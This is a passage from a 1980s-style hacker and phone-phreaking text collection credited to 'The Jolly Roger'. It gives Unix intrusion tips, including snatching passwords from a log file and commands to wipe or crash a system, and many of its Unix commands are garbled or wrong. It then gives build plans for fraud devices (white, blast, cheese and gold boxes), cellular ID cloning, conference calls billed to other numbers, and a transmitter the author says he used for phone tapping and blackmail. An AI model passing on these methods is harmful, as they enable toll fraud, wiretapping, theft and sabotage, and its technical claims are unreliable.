  9121. here...).
  9122. Under this comes the superuser (the operator of the system), and then
  9123. finally the normal users.  In the unix 'Shell' everything is treated the
  9124. same.
  9125. By this we mean:  You can access a program the same way you access a user
  9126. directory, and so on.  The way the unix system was written, everything,
  9127. users included, are just programs belonging to the root directory.  Those
  9128. of you who hacked onto the root, smile, since you can screw everything...
  9129. the main level (exec level) prompt on the unix system is the $, and if you
  9130. are on the root, you have a # (superuser prompt).
  9131. Ok, a few basics for the system... To see where you are, and what paths
  9132. are active in regards to your user account, then type
  9133. => pwd
  9134. This shows your acct. seperated by a slash with another pathname (acct.),
  9135. possibly many times. To connect through to another path,
  9136. or many paths, you would type:
  9137. You=> path1/path2/path3
  9138.  
  9139.  
  9140. and then you are connected all the way from path1 to path3.  You can
  9141. run the programs on all the paths you are connected to.  If it does
  9142. not allow you to connect to a path, then you have insufficient privs, or
  9143. the path is closed and archived onto tape.  You can run programs this way
  9144. also:
  9145. you=> path1/path2/path3/program-name
  9146. Unix treats everything as a program, and thus there a few commands to
  9147. learn...
  9148. To see what you have access to in the end path, type=>
  9149. ls
  9150. for list.  this show the programs you can run.  You can connect to
  9151. the root directory and run it's programs with=>
  9152. /root
  9153. By the way, most unix systems have their log file on the root, so you
  9154. can set up a watch on the file, waiting for people to log in and snatch
  9155. their
  9156. password as it passes thru the file. To connect to a directory, use the
  9157. command:
  9158. => cd pathname  This allows you to do what you want
  9159. with that directory.  You may be asked for a password, but this is a good
  9160. ay of finding other user names to hack onto.
  9161. The wildcard character in unix, if you want to search down a path for
  9162. a game or such, is the *.
  9163. => ls /*
  9164. Should show you what you can access. The file types are the same as they
  9165. are on a dec, so refer to that section when examining file.  To see what is
  9166. in a file, use the
  9167. => pr
  9168. filename command, for print file.
  9169. We advise playing with pathnames to get the hang of the concept.  There
  9170. is on-line help available on most systems with a 'help' or a '?'.
  9171. We advise you look thru the help files and pay attention to anything
  9172. they give you on pathnames, or the commands for the system.
  9173. You can, as a user, create or destroy directories on the tree beneath you.
  9174. This means that root can kill everything but root, and you can kill any
  9175. that are below you.  These are the
  9176. => mkdir pathname
  9177. => rmdir pathname
  9178. commands.
  9179. Once again, you are not alone on the system... type=>
  9180. who
  9181. to see what other users are logged in to the system at the time.  If you
  9182. want to talk to them=>
  9183. write username
  9184. Will allow you to chat at the same time, without having to worry
  9185. about the parser.  To send mail to a user, say
  9186. => mail
  9187. And enter the mail sub-system. To send a message to all the users
  9188. on the system, say
  9189. => wall
  9190. Which stands for 'write all'. By the way, on a few systems,
  9191. all you have to do is hit the <return> key to end the message,
  9192. but on others you must hit the cntrl-d key.
  9193. To send a single message to a user, say
  9194. => write username
  9195. this is very handy again!  If you send the sequence of characters discussed
  9196. at the very beginning of this article, you can have the super-user terminal
  9197. do
  9198.  
  9199.  
  9200. tricks for you again.
  9201.  
  9202. Privs:
  9203. If you want superuser privs, you can either log in as root, or edit your
  9204. acct. so it can say
  9205. => su
  9206. this now gives you the # prompt, and allows you to completely by-pass the
  9207. protection.  The wonderful security conscious developers at bell made it
  9208. very difficult to do much without privs, but once you have them, there
  9209. is absolutely nothing stopping you from doing anything you want to.
  9210. To bring down a unix system:
  9211. => chdir /bin
  9212. => rm *
  9213. this wipes out the pathname bin, where all the system maintenance files
  9214. are.
  9215. Or try:
  9216. => r -r
  9217. This recursively removes everything from the system except the remove
  9218. command itself.
  9219. Or try:
  9220. => kill -1,1
  9221. => sync
  9222. This wipes out the system devices from operation.
  9223. When you are finally sick and tired from hacking on the vax systems, just
  9224. hit your cntrl-d and repeat key, and you will eventually be logged out.
  9225. _______________________________________
  9226. The reason this file seems to be very sketchy is the fact that bell has 7
  9227. licenced versions of unix out in the public domain, and these commands are
  9228. those common to all of them.  I recommend you hack onto the root or
  9229. bin directory, since they have the highest levels of privs, and there
  9230. is really not much you can do (except develop software) without them.
  9231. _______________________________________
  9232.  
  9233. Verification Circuits                  courtesy of the Jolly Roger
  9234.       (originally an Apple ][ file so forgive the upper case!)
  9235.  
  9236. 1. ONE BUSY VERIFICATION CONFERENCE CIRCUIT IS ALWAYS PROVIDED.THE CIRCUIT
  9237. IS A
  9238. THREE-WAY CONFERENCE BRIDGE THAT ENABLES AN OPERERATOR TO  VERIFY THE
  9239. BUSY/IDLE
  9240. CONDITION OF A SUBSCRIBER LINE.UPON REQUEST OF A PARTY ATTEMPTING TO REACH
  9241. A
  9242. SPECIFIED DIRECTORY NUMBER, THE OPERATOR DIALS THE CALLED LINE NUMBER TO
  9243. DETERMINE IF THE LINE IS IN USE,IF THE RECEIVER IS OFF THE HOOK,OR IF THE
  9244. LINE
  9245. IS IN LOCKOUT DUE TO A FAULT CONDITKON.THE OPERATOR THEN RETURNS TO THE
  9246. PARTY
  9247. TRYING TO REACH THE DIRE CTORY NUMBER AND STATES THE CONDITION OF THE
  9248. LINE.LINES WITH DATA SECURITY CAN NOT BE ACCESSED FOR BUSY VERIFICATION
  9249. WHEN
  9250. THE LINE IS IN USE.(REFER ALSO TO DATA SECURITY)
  9251. 2. THREE PORTS ARE ASSIGNED TO EACH BUSY VERIFICATION CONFERENCE
  9252. CIRCUIT.ONE
  9253. PORT IS FOR OPERATOR ACCESS AND TWO PORTS ARE USED TO SPLIT AN EXISTING
  9254. CONNECTION.TO VERKFY THE BUSY/IDLE CONDITION OF A LINE,THE OPERATOR
  9255. ESTABLISHED A CONNECTION TO THE OPERATOR ACCESS PORT AND DIALS THE
  9256. DIRECTORY
  9257. NUMBER OF THE LINE TO BE VERIFIED.IF THE LINE IS IN USE,THE EXISTING
  9258.  
  9259.  
  9260. CONNECTION IS BROKEN AND IMMEDIATLY RE-ESTABLISHED THROUGH THE
  9261. OTHER TWO PORTS OF THE BUSY VERIFICATION CIRCUIT WITHOUT INTERRUPTION.
  9262. BUSY VERIFICATION CIRCUIT IS CONTROLLED BY ACCESS CODE. A DEDICATED TRUNK
  9263. CAN
  9264. BE USED BUT IS NOT NECESSARY.
  9265. 3. THE BUSY VREIFICATION CIRCUIT ALSO CAN BE USED FOR TEST VERIFY FROM THE
  9266. WIRE
  9267. CHIEFS TEST PANEL.
  9268.    B. ADDITIONAL BUSY VERIFICATION CONFERENCE CIRCUITS (002749)
  9269. O.K. THERE IT IS-RIGHT OUT OF AN ESS MANUAL WORD FOR WORD! (AND IM GETTING
  9270. 25
  9271. LINEAR FEET OF ESS MANUALS!!! NOT COUNTING THE STACK RECEIVED SO FAR!
  9272.  
  9273.             Brought to you in the Cookbook by the Jolly Roger!!!!
  9274. White Box Plans                                 by the Jolly Roger
  9275.  
  9276. Introduction:
  9277. ------------
  9278.      The White Box is simply a portable Touch-Tone keypad. For more
  9279. information on Touch-Tone, see my Silver Box Plans.
  9280. Materials:
  9281. ---------
  9282.   1 Touch-Tone Keypad
  9283.   1 Miniature 1000 to 8 Ohm Transformer
  9284.     (Radio Shack # 273-1380)
  9285.   1 Standard 8 Ohm Speaker
  9286.   2 9V Batteries
  9287.   2 9V Battery Clips
  9288.  
  9289. Procedure:
  9290. ---------
  9291. (1) Connect the Red Wire from the Transformer to either terminal on the
  9292. Speaker.
  9293. (2) Connect the White Wire from the Transformer to the other terminal on
  9294. the Speaker.
  9295. (3) Connect the Red Wire from one Battery Clip to the Black Wire from the
  9296. other
  9297. Battery Clip.
  9298. (4) Connect the Red Wire from the second Battery Clip to the Green Wire
  9299. from the Keypad.
  9300. (5) Connect the Blue Wire from the Keypad to the Orange/Black Wire from
  9301. the Keypad.
  9302. (6) Connect the Black Wire from the first Battery Clip to the two above
  9303. wires (Blue and Black/Orange).
  9304. (7) Connect the Black Wire from the Keypad to the Blue Wire from the
  9305. Transformer.
  9306. (8) Connect the Red/Green Wire from the Keypad to the Green Wire from the
  9307. Transformer.
  9308. (9) Make sure the Black Wire from the Transformer and the remaining wires
  9309. from the Keypad are free.
  9310. (10) Hook up the Batteries.
  9311.  
  9312. Optional:
  9313. --------
  9314. (1) Put it all in a case.
  9315. (2) Add a Silver Box to it.
  9316.  
  9317. Use:
  9318.  
  9319.  
  9320. ---
  9321. Just use it like a normal keypad, except put the speaker next to the
  9322. receiver of the phone you're using.
  9323.  
  9324.                               ---------------------Jolly Roger
  9325.  
  9326. The BLAST Box                                 Courtesy of the Jolly Roger
  9327.  
  9328. Ever want to really make yourself be heard? Ever talk to someone on the
  9329. phone
  9330. who just doesn't shut up? Or just call the operator and pop her eardrum?
  9331. Well,
  9332. up until recently it has been impossible for you to do these things. That
  9333. is,
  9334. unless of course you've got a blast box. All a blast box is, is a really
  9335. cheap
  9336. amplifier, (around 5 watts or so) connected in place of the microphone on
  9337. your
  9338. telephone. It works best on model 500 AT&T Phones, and if constructed small
  9339. enough, can be placed inside the phone.
  9340.  
  9341. Construction:
  9342.  
  9343. Construction is not really important. Well it is, but since I'm letting you
  9344. make
  9345. your own amp, I really don't have to include this.
  9346.  
  9347. Usage:
  9348.  
  9349. Once you've built your blast box, simply connect a microphone (or use the
  9350. microphone from the phone) to the input of the amplifier, and presto. There
  9351. it
  9352. is. Now, believe it or not, this device actually works. (At least on
  9353. crossbar.)
  9354. It seems that Illinois bell switching systems allow quite alot of current
  9355. to
  9356. pass right through the switching office, and out to whoever you're calling.
  9357. When
  9358. you talk in the phone, it comes out of the other phone (again it works best
  9359. if
  9360. the phone that you're calling has the standard western electric earpiece)
  9361. incredibly loud. This device is especially good for PBS Subscription
  9362. drives.
  9363. Have "Phun", and don't get caught!
  9364.  
  9365. ---------------------Jolly Roger
  9366.                Dealing with the Rate & Route Operator
  9367.  
  9368.  
  9369.         It seems that fewer and fewer people have blue boxes
  9370. these days, and that is really too bad.  Blue boxes, while not
  9371. all that great for making free calls (since the TPC can tell when
  9372. the call was made, as well as where it was too and from), are
  9373. really a lot of fun to play with.  Short of becoming a real live
  9374. TSPS operator, they are about the only way you can really play
  9375. with the network.
  9376.  
  9377.         For the few of you with blue boxes, here are some phrases
  9378.  
  9379.  
  9380. which may make life easier when dealing with the rate & route
  9381. (R&R) operators.  To get the R&R op, you send a KP + 141 + ST.
  9382. In some areas you may need to put another NPA before the 141
  9383. (i.e., KP + 213 + 141 + ST), if you have no local R&R ops.
  9384.  
  9385.         The R&R operator has a myriad of information, and all it
  9386. takes to get this data is mumbling cryptic phrases.  There are
  9387. basically four special phrases to give the R&R ops.  They are
  9388. NUMBERS route, DIRECTORY route, OPERATOR route, and PLACE NAME.
  9389.  
  9390.         To get an R&R an area code for a city, one can call the
  9391. R&R operator and ask for the numbers route.  For example, to find
  9392. the area code for Carson City, Nevada, we'd ask the R&R op for
  9393. "Carson City, Nevada, numbers route, please." and get the answer,
  9394. "Right... 702 plus." meaning that 702 plus 7 digits gets us
  9395. there.
  9396.         Sometimes directory assistance isn't just NPA + 131. The
  9397. way to get these routings is to call R&R and ask for "Anaheim,
  9398. California, directory route, please." Of course, she'd tell us it
  9399. was 714 plus, which means 714 + 131 gets us the D.A. op there.
  9400. This is sort of pointless example, but I couldn't come up with a
  9401. better one on short notice.
  9402.  
  9403.         Let's say you wanted to find out how to get to the inward
  9404. operator for Sacremento, California.  The first six digits of a
  9405. number in that city will be required (the NPA and an NXX).  For
  9406. example, let us use 916 756. We would call R&R, and when the
  9407. operator answered, say, "916 756, operator route, please." The
  9408. operator would say, "916 plus 001 plus."  This means that 916
  9409. + 001 + 121 will get you the inward operator for Sacramento. Do
  9410. you know the city which corresponds to 503 640?  The R&R operator
  9411. does, and will tell you that it is Hillsboro, Oregon, if you
  9412. sweetly ask for "Place name, 503 640, please."
  9413.  
  9414.         For example, let's say you need the directory route for
  9415. Sveg, Sweden. Simply call R&R, and ask for, "International,
  9416. Baden, Switzerland. TSPS directory route, please."  In response
  9417. to this, you'd get, "Right... Directory to Sveg, Sweden.  Country
  9418. code 46 plus 1170."  So you'd route yourself to an
  9419. international sender, and send 46 + 1170 to get the D.A. operator
  9420. in Sweden.
  9421.  
  9422.         Inward operator routings to various countries are
  9423. obtained the same way "International, London, England, TSPS
  9424. inward route, please." and get "Country code 44 plus 121."
  9425. Therefore, 44 plus 121 gets you inward for London.
  9426.         Inwards can get you language assitance if you don't speak
  9427. the language. Tell the foreign inward, "United Staes calling.
  9428. Language assitance in completing a call to (called party) at
  9429. (called number)."
  9430.         R&R operators are people are people too, y'know.  So
  9431. always be polite, make sure use of 'em, and dial with care.
  9432.  
  9433.  
  9434. ---------------Jolly Roger
  9435.  
  9436. Cellular Phreaking                         courtesy of The  Jolly Roger
  9437.  
  9438.  
  9439.  
  9440.      The cellular/mobile phone system is one that is perfectly set up to be
  9441. exploited by phreaks with the proper knowledge and equipment.  Thanks to
  9442. deregulation, the regional BOC's (Bell Operating Companies) are scattered
  9443. and do not communicate much with each other.  Phreaks can take advantage of
  9444. this by pretending to be mobile phone customers whose "home base" is a city
  9445. served by a different BOC, known as a "roamer".  Since it is impractical
  9446. for each BOC to keep track of the customers of all the other BOC's, they
  9447. will usually allow the customer to make the calls he wishes, often with a
  9448. surcharge of some sort.
  9449.  
  9450. The bill is then forwarded to the roamer's home BOC for collection.
  9451. However, it is fairly simple (with the correct tools) to create a bogus ID
  9452. number for your mobile phone, and pretend to be a roamer from some other
  9453. city and state, that's "just visiting".  When your BOC tries to collect for
  9454. the calls from your alleged "home BOC", they will discover you are not a
  9455. real customer; but by then, you can create an entirely new electronic
  9456. identity, and use that instead.
  9457.     How does the cellular system know who is calling, and where they are?
  9458. When a mobile phone enters a cell's area of transmission, it transmits its
  9459. phone number and its 8 digit ID number to that cell, who will keep track of
  9460. it until it gets far enough away that the sound quality is sufficiently
  9461. diminished, and then the phone is "handed off" to the cell that the
  9462. customer
  9463. has walked or driven into.  This process continues as long as the phone has
  9464. power and is turned on.  If the phone is turned off (or the car is),
  9465. someone
  9466. attempting to call the mobile phone will receive a recording along the
  9467. lines of "The mobile phone customer you have dialed has left the vehicle
  9468. or driven out of the service area."   When a call is made to a mobile
  9469. phone,
  9470. the switching equipment will check to see if the mobile phone being called
  9471. is
  9472. "logged in", so to speak, or present in one of the cells.  If it is, the
  9473. call will then act (to the speaking parties) just like a normal call - the
  9474. caller may hear a busy tone, the phone may just ring, or the call may be
  9475. answered.
  9476.     How does the switching equipment know whether or not a particular
  9477. phone is authorized to use the network?  Many times, it doesn't.  When a
  9478. dealer installs a mobile phone, he gives the phone's ID number (an 8 digit
  9479. hexadecimal number) to the local BOC, as well as the phone number the BOC
  9480. assigned to the customer.  Thereafter, whenever a phone is present in one
  9481. of the cells, the two numbers are checked - they should be registered to
  9482. the same person.  If they don't match, the telco knows that an attempted
  9483. fraud is taking place (or at best, some transmission error) and will not
  9484. allow calls to be placed or received at that phone.  However, it is
  9485. impractical (especially given the present state of deregulation) for the
  9486. telco to have records of every cellular customer of every BOC.  Therefore,
  9487. if you're going to create a fake ID/phone number combination, it will need
  9488. to be "based" in an area that has a cellular system (obviously), has a
  9489. different BOC than your local area does, and has some sort of a "roamer"
  9490. agreement with your local BOC.
  9491.  
  9492.    How can one "phreak" a cellular phone?  There are three general areas
  9493. when phreaking cellular phones; using one you found in an unlocked car
  9494. (or an unattended walk-about model), modifying your own chip set to look
  9495. like a different phone, or recording the phone number/ID number
  9496. combinations
  9497. sent by other local cellular phones, and using those as your own.  Most
  9498.  
  9499.  
  9500. cellular phones include a crude "password" system to keep unauthorized
  9501. users from using the phone - however, dealers often set the password
  9502. (usually a 3 to 5 digit code) to the last four digits of the customer's
  9503. mobile phone number.  If you can find that somewhere on the phone, you're
  9504. in luck.  If not, it shouldn't be TOO hard to hack, since most people
  9505. aren't smart enough to use something besides "1111", "1234", or whatever.
  9506. If you want to modify the chip set in a cellular phone you bought
  9507. (or stole), there are two chips (of course, this depends on the model and
  9508. manufacturer, yours may be different) that will need to be changed - one
  9509. installed at the manufacturer (often epoxied in) with the phone's ID
  9510. number, and one installed by the dealer with the phone number, and possible
  9511. the security code.  To do this, you'll obviously need an EPROM burner
  9512. as well as the same sort of chips used in the phone (or a friendly and
  9513. unscrupulous dealer!).  As to recording the numbers of other mobile phone
  9514. customers and using them; as far as I know, this is just theory... but it
  9515. seems quite possible, if you've got the equipment to record and decode it.
  9516. The cellular system would probably freak out if two phones (with valid
  9517. ID/phone number combinations) were both present in the network at once,
  9518. but it remains to be seen what will happen.
  9519.  
  9520. -----------------Jolly Roger
  9521.  
  9522. Cheesebox Plans                         Courtesy of The Jolly Roger
  9523.  
  9524.      A Cheesebox (named for the type of box the first one was
  9525. found in) is a type of box which will, in effect, make your
  9526. telephone a Pay-Phone.....This is a simple,modernized, and easy
  9527. way of doing it....
  9528.  
  9529.       Inside Info:These were first used by bookies many years ago
  9530. as a way of making calls to people without being called by the
  9531. cops or having their numbers traced and/or tapped......
  9532.  
  9533.      How To Make A Modern Cheese Box
  9534.  
  9535.      Ingredients:
  9536.      ------------
  9537.  
  9538.      1 Call Forwarding service on the line
  9539.  
  9540.      1 Set of Red Box Tones
  9541.  
  9542.      The number to your prefix's Intercept operator (do some scanning
  9543.      for this one)
  9544.  
  9545.      How To:
  9546.      -------
  9547.  
  9548.        After you find the number to the intercept operator in
  9549. your prefix, use your call-forwarding and forward all calls to
  9550. her...this will make your phone stay off the hook(actually, now
  9551. it waits for a quarter to be dropped in)...you now have a cheese
  9552. box... In Order To Call Out On This Line:You must use your Red
  9553. Box tones and generate the quarter dropping in...then,you can
  9554. make phone calls to people...as far as I know, this is fairly
  9555. safe, and they do not check much...Although I am not sure, I
  9556. think you can even make credit-card calls from a cheesebox
  9557. phone and not get traced...
  9558.  
  9559.  
  9560. ç
  9561.  
  9562. HOW TO START YOUR OWN CONFERENCES!      Brought to you by The Jolly Roger
  9563.  
  9564. BLACK BART SHOWED HOW TO START A CONFERENCE CALL THRU AN 800 EXCHANGE, AND
  9565. I
  9566. WILL NOW EXPLAIN HOW TO START A CONFERENCE CALL IN A MORE ORTHODOX FASHIO,
  9567. THE
  9568. 2600 HZ. TONE.
  9569.  
  9570. FIRSTLY, THE FONE COMPANY HAS WHAT IS CALLED SWITCHING SYSTEMS.  THERE ARE
  9571. SE
  9572. VERAL TYPES, BUT THE ONE WE WILL CONCERN OURSELVES WITH, IS ESS (ELECTRONIC
  9573. SWITCHING SYSTEM).  IF YOUR AREA IS ZONED FOR ESS, DO NOT START A
  9574. CONFERENCE
  9575. CALL VIA THE 2600 HZ. TONE, OR BELL SECURITY WILL NAIL YOUR ASS!  TO FND
  9576. OUT IF
  9577. YOU ARE UNDER ESS, CALL YOUR LOCAL BUSINESS OFFICE, AND ASK THEM IF YOU CAN
  9578. GET
  9579. CALL WAITING/FORWARDING, AND IF YOU CAN, THAT MEANS THAT YOU ARE IN ESS
  9580. COUNTRY
  9581. , AND CONFERENCE CALLING IS VERY, VERY DANGEROUS!!! NOW, IF YOU ARE NOT IN
  9582. ESS,
  9583. YOU WILL NEED THE FOLLOWING EQUIPMENT:
  9584.  
  9585.   AN APPLE CAT II MODEM
  9586.   A COPY OF TSPS 2 OR CAT'S MEOW
  9587.   A TOUCH TONE FONE LINE
  9588.   AND A TOUCH TONE FONE. (TRUE TONE)
  9589.  
  9590. NOW, WITH TSPS 2, DO THE FOLLOWING:
  9591.  
  9592.  RUN TSPS 2
  9593.  CHOSE OPTION 1
  9594.  CHOSE OPTION 6
  9595.  CHOSE SUB-OPTION 9
  9596.  
  9597.   NOW TYPE:
  9598.  
  9599.  1-514-555-1212 (DASHES ARE NOT NEEDED)
  9600.  
  9601. LISTEN WITH YOUR HANDSET, AND AS SOON AS YOU HEAR A LOUD 'CLICK', THEN TYPE
  9602.  
  9603.  $
  9604.  
  9605. TO GENERATE THE 2600 HZ. TONE.  THIS OBNOXIOUS TONE WILL CONTINUE FOR A FEW
  9606. SECONDS, THEN LISTEN AGAIN AND YOU SHOULD HEAR ANOTHER LOUD 'CLICK'.
  9607.  
  9608.  NOW TYPE:
  9609.  
  9610.  KM2130801050S
  9611.  
  9612. WHERE 'K' = KP TONE
  9613.       'M' = MULTI FREQUENCY MODE
  9614.       'S' = S TONE
  9615.  
  9616. NOW LISTEN TO THE HANDSET AGAIN, AND WAIT UNTIL YOU HEAR THE 'CLICK' AGAIN.
  9617. THEN TYPE:
  9618.  
  9619.  
  9620. ç  KM2139752975S
  9621.  
  9622. WHERE 2139751975 IS THE NUMBER TO BILL THE CONFERENCE CALL TO. NOTE:
  9623. 213-975-
  9624. 1975 IS A DISCONNECTED NUMBER, AND I STRONGLY ADVISE THAT YOU ONLY BILL THE
  9625. CALL TO THIS NUMBER, OR THE FONE COMPANY WILL FIND OUT, AND THEN..........
  9626. REMEBER, CONFERENCE CALLS ARE ITEMIZED, SO IF YOU DO BILL IT TO AN ENEMY'S
  9627. NUMB
  9628. ER, HE CAN EASILY FIND OUT WHO DID IT AND HE CAN BUST YOU!
  9629.  
  9630. YOU SHOULD NOW HEAR 3 BEEPS, AND A SHORT PRE-RECORDED MESSAGE.  FROM HERE
  9631. ON,
  9632. EVERYTHING IS ALL MENU DRIVEN.
  9633.  
  9634.  CONFERENCE CALL COMMANDS
  9635.  ---------- ---- --------
  9636.  
  9637.    FROM THE '#' MODE:
  9638.  
  9639.      1 = CALL A NUMBER
  9640.      6 = TRANSFER CONTROL
  9641.      7 = HANGS UP THE CONFERENCE CALL
  9642.      9 = WILL CALL A CONFERENCE OPERATR
  9643.  
  9644. STAY AWAY FROM 7 AND 9!  IF FOR SOME REASON AN OPERATOR GETS ON-LINE,
  9645. HANG UP! IF YOU GET A BUSY SIGNAL AFTER KM2130801050S, THAT MEANS THAT THE
  9646. TELECONFEREN CING LINE IS TEMPORARILY DOWN.  TRY LATER, PREFERRABLY FROM
  9647. 9AM TO
  9648. 5PM WEEK DAYS, SINCE CONFERENCE CALLS ARE PRIMARILY DESIGNED FOR BUSINESS
  9649. PEOPLE.
  9650.                 THE LEECH
  9651.  
  9652.  
  9653.  
  9654. Gold Box Plans                                        by The Jolly Roger
  9655.  
  9656.  
  9657. HOW TO BUILD IT
  9658. _______________
  9659.  
  9660.  
  9661.      You will need the following:
  9662.  
  9663. Two 10K OHM and three 1.4K OHM resistors
  9664. Two 2N3904 transistors
  9665. Two Photo Cells
  9666. Two Red LED'S (The more light produced the better)
  9667. A box that will not let light in
  9668. Red and Green Wire
  9669.  
  9670. Light from the #1 LED must shine directly on the photocell #1. The gold
  9671. box I made needed the top of the LED's to touch the photo cell for it to
  9672. work.
  9673.  
  9674. The same applies to the #2 photo cell and LED.
  9675.  
  9676.           1
  9677.     :-PHOTOCELL--:
  9678.  
  9679.  
  9680.     :            :
  9681.     :            :BASE
  9682.     :    1     TTTTT
  9683.     :  +LED-   TRANSISTOR
  9684.     :          TTTTT
  9685.     :           : :
  9686.     :  -I(--    : :COLLECTOR
  9687. RED1--<     >:--: :-------:-----GREEN2
  9688.        -I(-- :            ----------:
  9689.              :                      :
  9690.         2    :-/+/+/-/+/+/-/+/+/-/+/+/
  9691.        LED     10K    10K   1.4K 1.4K
  9692.                  RESISTORES
  9693.  
  9694.             2
  9695.        -PHOTOCELL-----------------
  9696.        :                         :
  9697.        :BASE                     :
  9698.      TTTTT                       :
  9699.      TRANSISTOR                  :
  9700.      TTTTT                       :
  9701.       : :EMITTER                 :
  9702. GREEN1- --------------------------RED2
  9703.      :   :
  9704.      /+/+/
  9705.       1.4K
  9706.  
  9707. The 1.4K resistor is variable and if the second part of the gold box is
  9708. skipped it will still work but when someone picks up the phone they will
  9709. hear a faint dial tone in the background and might report it to the
  9710. Gestapo er...(AT&T).
  9711. 1.4K will give you good reception with little risk of a Gestapo agent at
  9712. your door.
  9713.  
  9714.  
  9715. Now that you have built it take two green wires of the same length and
  9716. strip the ends, twist two ends together and connect them to green1 and
  9717. place a piece of tape on it with "line #1" writing on it.
  9718.  
  9719. Continue the process with red1 only use red wire. Repeat with red2 and
  9720. green2 but change to line #2.
  9721.  
  9722.  
  9723.  
  9724.  
  9725.  
  9726. HOW TO INSTALL
  9727. ______________
  9728.  
  9729. You will need to find two phone lines that are close together. Label one of
  9730. teh phone lines "Line #1". Cut the phone lines and take the outer coating
  9731. off it. Tere should be 4 wires. Cut the yellow and black wires off and
  9732. strip the red and green wires for both lines.
  9733.  
  9734. Line #1 should be in two pieces. Take the green wire of one end and connect
  9735. it to one of the green wires on the gold box. Take the other half of line
  9736. #1 and hook the free green wire to the green wire on the phone line. Repeat
  9737. the process with red1 and the other line.
  9738.  
  9739.  
  9740. çAll you need to do now is to write down the phone numbers of the place you
  9741. hooked it up at and go home and call it. You should get a dial tone!!!
  9742. If not, try changing the emittor with the collector.
  9743.  
  9744.  
  9745. Have a great time with this!            -----------Jolly Roger
  9746.  
  9747. The History of ESS                     Courtesy of the Jolly Roger
  9748.  
  9749.    Of all the new 1960s wonders of telephone technology -
  9750. satellites, ultra modern Traffic Service Positions (TSPS) for
  9751. operators, the picturephone, and so on - the one that gave Bell
  9752. Labs the most trouble, and unexpectedly became the greatest
  9753. development effort in Bell System's history, was the perfection
  9754. of an electronic switching system, or ESS.
  9755.  
  9756.    It may be recalled that such a system was the specific end in
  9757. view when the project that had culminated in the invention of the
  9758. transistor had been launched back in the 1930s. After successful
  9759. accomplishment of that planned miracle in 1947-48, further delays
  9760. were brought about by financial stringency and the need for
  9761. further development of the transistor itself. In the early 1950s,
  9762. a Labs team began serious work on electronic switching. As early
  9763. as 1955, Western Electric became involved when five engineers
  9764. from the Hawthorne works were assigned to collaborate with the
  9765. Labs on the project. The president of AT&T in 1956, wrote
  9766. confidently, "At Bell Labs, development of the new electronic
  9767. switching system is going full speed ahead. We are sure this will
  9768. lead to many improvements in service and also to greater
  9769. efficiency. The first service trial will start in Morris, Ill.,
  9770. in 1959." Shortly thereafter, Kappel said that the cost of the
  9771. whole project would probably be $45 million.
  9772.  
  9773.    But it gradually became apparent that the developement of a
  9774. commercially usable electronic switching system - in effect, a
  9775. computerized telephone exchange - presented vastly greater
  9776. technical problems than had been anticipated, and that,
  9777. accordingly, Bell Labs had vastly underestimated both the time
  9778. and the investment needed to do the job. The year 1959 passed
  9779. without the promised first trial at Morris, Illinois; it was
  9780. finally made in November 1960, and quickly showed how much more
  9781. work remained to be done. As time dragged on and costs mounted,
  9782. there was a concern at AT&T and something approaching panic at
  9783. Bell Labs. But the project had to go forward; by this time the
  9784. investment was too great to be sacrificed, and in any case,
  9785. forward projections of increased demand for telephone service
  9786. indicated that within a phew years a time would come when,
  9787. without the quantum leap in speed and flexibility that electronic
  9788. switching would provide, the national network would be unable to
  9789. meet the demand. In November 1963, an all-electronic switching
  9790. system went into use at the Brown Engineering Company at Cocoa
  9791. Beach, Florida. But this was a small installation, essentially
  9792. another test installation, serving only a single company.
  9793. Kappel's tone on the subject in the 1964 annual report was, for
  9794. him, an almost apologetic: "Electronic switching equipment must
  9795. be manufactured in volume to unprecedented standards of
  9796. reliability.... To turn out the equipment economically and with
  9797. good speed, mass production methods must be developed; but, at
  9798.  
  9799.  
  9800. the same time, there can be no loss of precision..." Another year
  9801. and millions of dollars later, on May 30, 1965, the first
  9802. commercial electric centeral office was put into service at
  9803. Succasunna, New Jersey.
  9804.  
  9805.    Even at Succasunna, only 200 of the town's 4,300 subscribers
  9806. initially had the benefit of electronic switching's added speed
  9807. and additional services, such as provision for three party
  9808. conversations and automatic transfer of incoming calls. But after
  9809. that, ESS was on its way. In January 1966, the second commercial
  9810. installation, this one serving 2,900 telephones, went into
  9811. service in Chase, Maryland. By the end of 1967 there were
  9812. additional ESS offices in California, Connecticut, Minnesota,
  9813. Georgia, New York, Florida, and Pennsylvania; by the end of 1970
  9814. there were 120 offices serving 1.8 million customers; and by 1974
  9815. there were 475 offices serving 5.6 million customers.
  9816.  
  9817.    The difference between conventional switching and electronic
  9818. switching is the difference between "hardware" and "software"; in
  9819. the former case, maintenence is done on the spot, with
  9820. screwdriver and pliers, while in the case of electronic
  9821. switching, it can be done remotely, by computer, from a centeral
  9822. point, making it possible to have only one or two technicians on
  9823. duty at a time at each switching center. The development program,
  9824. when the final figures were added up, was found to have required
  9825. a staggering four thousand man-years of work at Bell Labs and to
  9826. have cost not $45 million but $500 million!
  9827.  
  9828.  
  9829. The Lunch Box                          Courtesy of the Jolly Roger
  9830.  
  9831. Introduction
  9832. ===========
  9833.  
  9834. The Lunch Box is a VERY simple transmitter which can be handy for all sorts
  9835. of
  9836. things. It is quite small and can easily be put in a number of places. I
  9837. have
  9838. successfully used it for tapping fones, getting inside info, blackmail and
  9839. other such things. The possibilities are endless. I will also include the
  9840. plans
  9841. or an equally small receiver for your newly made toy. Use it for just about
  9842. anything. You can also make the transmitter and receiver together in one
  9843. box
  9844. and use it as a walkie talkie.
  9845.  
  9846. Materials you will need
  9847. ======================
  9848.  
  9849. (1) 9 volt battery with battery clip
  9850. (1) 25-mfd, 15 volt electrolytic capacitor
  9851. (2) .0047 mfd capacitors
  9852. (1) .022 mfd capacitor
  9853. (1) 51 pf capacitor
  9854. (1) 365 pf variable capacitor
  9855. (1) Transistor antenna coil
  9856. (1) 2N366 transistor
  9857. (1) 2N464 transistor
  9858.  
  9859.  
  9860. (1) 100k resistor
  9861. (1) 5.6k resistor
  9862. (1) 10k resistor
  9863. (1) 2meg potentiometer with SPST switch
  9864.  Some good wire, solder, soldering iron, board to put it on, box (optional)
  9865.  
  9866. Schematic for The Lunch Box
  9867. ===========================
  9868.  
  9869. This may get a tad confusing but just print it out and pay attention.
  9870.  
  9871.          [!]
  9872.           !
  9873.         51 pf
  9874.           !
  9875.        ---+----  ------------base   collector
  9876.       !        )(               2N366       +----+------/\/\/----GND
  9877.     365 pf     ()              emitter           !
  9878.        !        )(                 !              !
  9879.       +--------  ---+----         !              !
  9880.       !             !    !        !              !
  9881.      GND            /  .022mfd    !              !
  9882.                  10k\    !        !              !
  9883.                     /   GND       +------------------------emitter
